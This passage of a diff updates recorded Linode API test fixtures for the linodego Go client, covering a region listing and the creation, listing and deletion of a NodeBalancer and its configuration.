{"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228220}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,10 +313,11 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441130, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-86-40.ip.linodeusercontent.com", "ipv4": "172.232.86.40", "ipv6": "1234::5678", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": - 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' + body: '{"id": 694195, "label": "go-test-def", "region": "ap-west", "hostname": + "172-232-87-237.ip.linodeusercontent.com", "ipv4": "172.232.87.237", "ipv6": + "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, + "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -316,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "334" + - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -337,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -355,14 +376,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441130/configs + url: https://api.linode.com/v4beta/nodebalancers/694195/configs method: POST response: - body: '{"id": 670348, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134770, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 441130, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694195, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -376,15 +397,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "437" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -397,9 +422,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -415,14 +443,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441130/configs + url: https://api.linode.com/v4beta/nodebalancers/694195/configs method: GET response: - body: '{"data": [{"id": 670348, "port": 80, "protocol": "http", "algorithm": "roundrobin", - "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": + body: '{"data": [{"id": 1134770, "port": 80, "protocol": "http", "algorithm": + "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 441130, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694195, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}], "page": 1, "pages": 1, "results": 1}' headers: @@ -437,16 +465,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "486" + - "487" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -460,9 +491,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -478,7 +512,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441130/configs/670348 + url: https://api.linode.com/v4beta/nodebalancers/694195/configs/1134770 method: DELETE response: body: '{}' @@ -494,15 +528,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:40 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -515,9 +553,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -533,7 +574,7 @@ 